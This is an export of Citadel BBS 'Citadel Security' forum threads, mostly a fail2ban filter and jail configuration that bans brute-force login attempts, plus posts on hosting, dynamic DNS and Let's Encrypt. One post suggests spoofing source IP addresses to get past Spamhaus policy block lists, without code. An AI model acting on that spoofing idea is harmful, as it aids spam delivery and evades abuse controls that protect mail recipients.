<p>I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.</p>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 02:15:46 EST</span> <span>from <a href="do_template?template=user_show?who=Michael">Michael</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>Have you tried testing the filter via command line? fail2ban-regex &lt;path to log&gt; filter_name</p>
<blockquote>
<div class="message_header"><span>Mon Jan 11 2021 12:25:43 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).</p>
<p>Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?</p>
<p> </p>
<p>Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from &lt;port&gt; to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Jan 10 2021 22:40:26 EST</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See <a href="https://citadel.org/loglevel.html" target="webcit01">https://citadel.org/loglevel.html</a> but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.</p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099262278</link><pubDate>Tue, 27 Apr 2021 23:02:17 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">2099262278@Uncensored</guid><description><![CDATA[<html><body>

<p>Thanks for posting this.  Unfortunately it will not work on my server.  I'm wondering what I could be doing wrong.</p>
<p>fail2ban loads without error and when I run (fail2ban-client status citadel) I get the following:</p>
<p><strong>|- Filter</strong></p>
<p><strong>|  |- Currently failed: 0</strong></p>
<p><strong>|  |- Total failed:     0</strong></p>
<p><strong>|  `- File list:        /var/log/citadel.log</strong></p>
<p><strong>`- Actions</strong></p>
<p><strong>   |- Currently banned: 0</strong></p>
<p><strong>   |- Total banned:     0</strong></p>
<p><strong>   `- Banned IP list:</strong></p>
<p> </p>
<p>I copied out a Bad password line from the log to test.log and ran the following:</p>
<p>fail2ban-regex ./test.log citadel               </p>
<p>Here is the result: (The logfile line is at the bottom.  I replaced the IP and username)</p>
<p><strong><br /></strong></p>
<p><strong>Running tests</strong></p>
<p><strong>=============</strong></p>
<p><strong>Use   failregex filter file : citadel, basedir: /etc/fail2ban</strong></p>
<p><strong>Use      datepattern : Default Detectors</strong></p>
<p><strong>Use         log file : ./test.log</strong></p>
<p><strong>Use         encoding : UTF-8</strong></p>
<p> </p>
<p><strong>Results</strong></p>
<p><strong>=======</strong></p>
<p><strong>Failregex: 0 total</strong></p>
<p><strong>Ignoreregex: 0 total</strong></p>
<p> </p>
<p><strong>Date template hits:</strong></p>
<p><strong>|- [# of hits] date format</strong></p>
<p><strong>|  [1] {^LN-BEG}(?:DAY )?MON Day %k:Minute:Second(?:\.Microseconds)?(?: ExYear)?</strong></p>
<p><strong>`-</strong></p>
<p><strong>Lines: 1 lines, 0 ignored, 0 matched, 1 missed</strong></p>
<p><strong>[processed in 0.00 sec]</strong></p>
<p> </p>
<p><strong>|- Missed line(s):</strong></p>
<p><strong>|  Apr 27 20:52:22 host1 citserver[5990]: Context: Bad password specified for &lt;testuser&gt; Service &lt;SMTP-MSA&gt; Port &lt;587&gt; Remote &lt;192.168.1.1 / 192.168.1.1&gt;</strong></p>
<div> </div>
<div>Any help is appreciated.  </div>
<div> </div>
<div> </div>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 14:36:14 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.</p>
<p>I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.</p>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 02:15:46 EST</span> <span>from <a href="do_template?template=user_show?who=Michael">Michael</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>Have you tried testing the filter via command line? fail2ban-regex &lt;path to log&gt; filter_name</p>
<blockquote>
<div class="message_header"><span>Mon Jan 11 2021 12:25:43 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).</p>
<p>Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?</p>
<p> </p>
<p>Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from &lt;port&gt; to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Jan 10 2021 22:40:26 EST</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See <a href="https://citadel.org/loglevel.html" target="webcit01">https://citadel.org/loglevel.html</a> but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.</p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099260337</link><pubDate>Thu, 15 Apr 2021 13:54:31 -0000</pubDate><title>Message #2099260337</title><guid isPermaLink="false">2099260337@Uncensored</guid><description><![CDATA[<html><body>

<p>They sound familiar, i think i used them for a bit when i was between hosting providers after i lost my static IP at home and could not self-host anymore. ( could be wrong and it was someone else, its been nearly 2 decades now )</p>
<p> </p>
<p> </p>
<blockquote>
<div class="message_header"><span>Wed Apr 14 2021 22:47:07 EDT</span> <span>from <a href="do_template?template=user_show?who=test2">test2</a> </span></div>
<div class="message_content">
<p>hmm, i've been using no-ip for a couple of years.  they do domain registration, managed DNS, dynamic DNS, email and email forwarding. a lite collection of network services. they'll do email forwarding for $10/year. I was thinking about setting it up with a citadel server.  my current provider lets me send/receive on all ports, no blocks.  the dynamic ddns works pretty well with a citadel bbs. they'll give you 3 dynamic dns's for free. </p>
<p><a href="https://www.noip.com/managed-mail" target="webcit01">https://www.noip.com/managed-mail</a></p>
<p><a href="https://www.noip.com/support/" target="webcit01">https://www.noip.com/support/</a></p>
<p> </p>
</div>
</blockquote>
</body></html>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099260290</link><pubDate>Thu, 15 Apr 2021 02:47:07 -0000</pubDate><title>Message #2099260290</title><guid isPermaLink="false">2099260290@Uncensored</guid><description><![CDATA[<html><body>

<p>hmm, i've been using no-ip for a couple of years.  they do domain registration, managed DNS, dynamic DNS, email and email forwarding. a lite collection of network services. they'll do email forwarding for $10/year. I was thinking about setting it up with a citadel server.  my current provider lets me send/receive on all ports, no blocks.  the dynamic ddns works pretty well with a citadel bbs. they'll give you 3 dynamic dns's for free.  </p>
<p>https://www.noip.com/managed-mail</p>
<p>https://www.noip.com/support/</p>
<p> </p>
<p> </p>
<blockquote>
<div class="message_header"><span>Wed Apr 14 2021 07:25:18 PM EDT</span> <span>from <a href="do_template?template=user_show?who=Nurb432">Nurb432</a> </span></div>
<div class="message_content">
<p>its blue host and i have absolutely no idea how much it is.  Their freaking setup makes it impossible now.   Confusing as hell.   I rarely go into their pages, but they are not friendly now. at all.</p>
<p>But i can say its not 30. its more than that.  I paid them a 2 year renewal last time.  and it was not 60 bucks. </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099260261</link><pubDate>Wed, 14 Apr 2021 23:25:18 -0000</pubDate><title>Message #2099260261</title><guid isPermaLink="false">2099260261@Uncensored</guid><description><![CDATA[<html><body>

<p>its blue host and i have absolutely no idea how much it is.  Their freaking setup makes it impossible now.   Confusing as hell.   I rarely go into their pages, but they are not friendly now. at all.</p>
<p>But i can say its not 30. its more than that.  I paid them a 2 year renewal last time.  and it was not 60 bucks. </p>
</body></html>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099260214</link><pubDate>Wed, 14 Apr 2021 17:57:02 -0000</pubDate><title>Message #2099260214</title><guid isPermaLink="false">2099260214@Uncensored</guid><description><![CDATA[<html><body>

<p>who is hosting your domain and how much do they charge?  domain hosting is usually like $30/yr and if they let you bounce email through, thats a deal!</p>
<blockquote>
<div class="message_header"><span>Wed Apr 14 2021 08:34:22 AM EDT</span> <span>from <a href="do_template?template=user_show?who=Nurb432">Nurb432</a> </span></div>
<div class="message_content">
<p>The people that host my domain's DNS allows me to bounce email thru them, from a home IP subnet, for no additional charge.</p>
<p>But i do agree 15bucks isn't bad.</p>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099260163</link><pubDate>Wed, 14 Apr 2021 12:34:22 -0000</pubDate><title>Message #2099260163</title><guid isPermaLink="false">2099260163@Uncensored</guid><description><![CDATA[<html><body>

<p>The people that host my domain's DNS allows me to bounce email thru them, from a home IP subnet, for no additional charge.</p>
<p>But i do agree 15bucks isn't bad.</p>
<p> </p>
</body></html>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099260113</link><pubDate>Wed, 14 Apr 2021 02:52:30 -0000</pubDate><title>Re: spamhaus and ip spoofing</title><guid isPermaLink="false">2099260113@Uncensored</guid><description><![CDATA[<html><body>

<p>looks pretty good.  also answers the question of domain name hosting and multiple IP addressing.  $15/mo isn't too bad.</p>
<blockquote>
<div class="message_header"><span>Mon Apr 12 2021 03:05:20 PM EDT</span> <span>from <a href="do_template?template=user_show?who=IGnatius T Foobar">IGnatius T Foobar</a> </span> <span class="message_subject">Subject: Re: spamhaus and ip spoofing</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">If you intend to run a Citadel server from a home Internet connection, check out the service I mentioned in the Citadel Support room. Really effective and I highly recommend it. </div>
</div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099259955</link><pubDate>Mon, 12 Apr 2021 19:05:20 -0000</pubDate><title>Re: spamhaus and ip spoofing</title><guid isPermaLink="false">2099259955@Uncensored</guid><description><![CDATA[If you intend to run a Citadel server from a home Internet connection, check
out the service I mentioned in the Citadel Support room.  Really effective
and I highly recommend it. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=2099259737</link><pubDate>Sat, 10 Apr 2021 20:52:58 -0000</pubDate><title>spamhaus and ip spoofing</title><guid isPermaLink="false">2099259737@Uncensored</guid><description><![CDATA[<html><body>

<p>looks like emails originating from private citadel servers get rejected from the major internet cartels.  they're using spamhaus to store the lists of cartel ip address on the policy block lists.  So you have a time warner internet email account because they are your internet provider.  time warner gives you a home ip from their block of residential ip's and puts your home ip into the spamhaus policy block list.  you send an email to a yahoo email address and the yahoo server rejects the citadel originated email transaction due to a policy block.</p>
<p> </p>
<p>China and russia get around this problem by spoofing ip addresses until yahoo accepts the spam mail.  Be nice if citadel had a spoof ip function to get around the policy block. get the two robots chattering away while citadel twiddles the ip in the packets until yahoo accepts.  then citadel puts that ip on the happy list for now.</p>
<p>just sayin.</p>
<p> </p>
<p>https://www.spamhaus.org/sbl/</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4671634</link><pubDate>Tue, 16 Mar 2021 18:49:38 -0000</pubDate><title>Re: Let&#39;s Encrypt!  .. no need to use the http authentication methods..</title><guid isPermaLink="false">4671634@Uncensored</guid><description><![CDATA[We've had formal bug trackers in the past, but with no one to triage and curate,
it quickly devolved into an unmaintainable sea of unconfirmed issues and feature
requests. 
  
 We currently have a bug tracker Wiki room, but it is not accessible to the
public.  Issues go in there only if they are confirmed and reproducible. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4647188</link><pubDate>Thu, 21 Jan 2021 04:42:12 -0000</pubDate><title>Re: Let&#39;s Encrypt!  .. no need to use the http authentication methods..</title><guid isPermaLink="false">4647188@Uncensored</guid><description><![CDATA[<html><body>

<p>Are you able to share a step-by-step instruction on how to implement LetsEncrypt certificate with automatic renewal on a Citadel server?</p>
<p>There is almost no information out there on doing it, and it is a bit non-standard configuration...</p>
<p>Thank you so much!</p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 20:58:09 EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Let's Encrypt! .. no need to use the http authentication methods..</span></div>
<div class="message_content">
<p>There are a lot of alternative methods of authentication for certbot. </p>
<p>Those http requests to .well_known are buggy, problematic, and a constant fight with Barron von Munchausen (damons, configs, servers, turn it off, in order to turn it on kind of thing.. ). </p>
<p>BUT.. based on my reading of the "self-signed certificates" thread.. one thing is not coming out clearly.  </p>
<p>Those problems <em>only</em> happen at 2 particular times:</p>
<p>1) When you initially create a cert.</p>
<p>2) When you expand or renew one.</p>
<p>So, it isn't like the problem is there all the time. Nothing is running constantly.</p>
<p>Once you have the cert, you can just comment out the lines in your nginx/apache config, restart and then it's business as usual, for 90 more days.</p>
<p>It's a little tricky automating renewal on a citadel box, but it's definitely do-able.  I am doing it. </p>
<p>One of the tricks is to use one of the certbot plugins, cloudflare-dns or something like that. </p>
<p>It's much easier, and much more reliable once it's configured.</p>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4646090</link><pubDate>Sat, 16 Jan 2021 10:47:09 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4646090@Uncensored</guid><description><![CDATA[<html><body>

<p>Hi, just a quick thanks for posting this info, you saved me a lot of head scratching and web searchin!</p>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 14:36:14 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.</p>
<p>I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.</p>
<blockquote>
<div class="message_header"><span>Wed Jan 13 2021 02:15:46 EST</span> <span>from <a href="do_template?template=user_show?who=Michael">Michael</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>Have you tried testing the filter via command line? fail2ban-regex &lt;path to log&gt; filter_name</p>
<blockquote>
<div class="message_header"><span>Mon Jan 11 2021 12:25:43 EST</span> <span>from <a href="do_template?template=user_show?who=omatnet">omatnet</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).</p>
<p>Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?</p>
<p> </p>
<p>Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from &lt;port&gt; to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Jan 10 2021 22:40:26 EST</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..</p>
<p>IIRC something like:</p>
<p>/usr/local/citadel/citserver -x7 # which I forgot to document. :O</p>
<p>[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See <a href="https://citadel.org/loglevel.html" target="webcit01">https://citadel.org/loglevel.html</a> but, the doc with the switches is harder to find, it may be still on the Wayback machine.]</p>
<p>I did that so I could see the output as I was working on the filter. </p>
<p>I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..</p>
<p>And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.</p>
<p>Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.<code></code></p>
<p><code>fail2ban-client set citadel unbanip &lt;your-ip-address&gt;</code></p>
<p>Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. </p>
<p>IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 07:58:40 PM EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
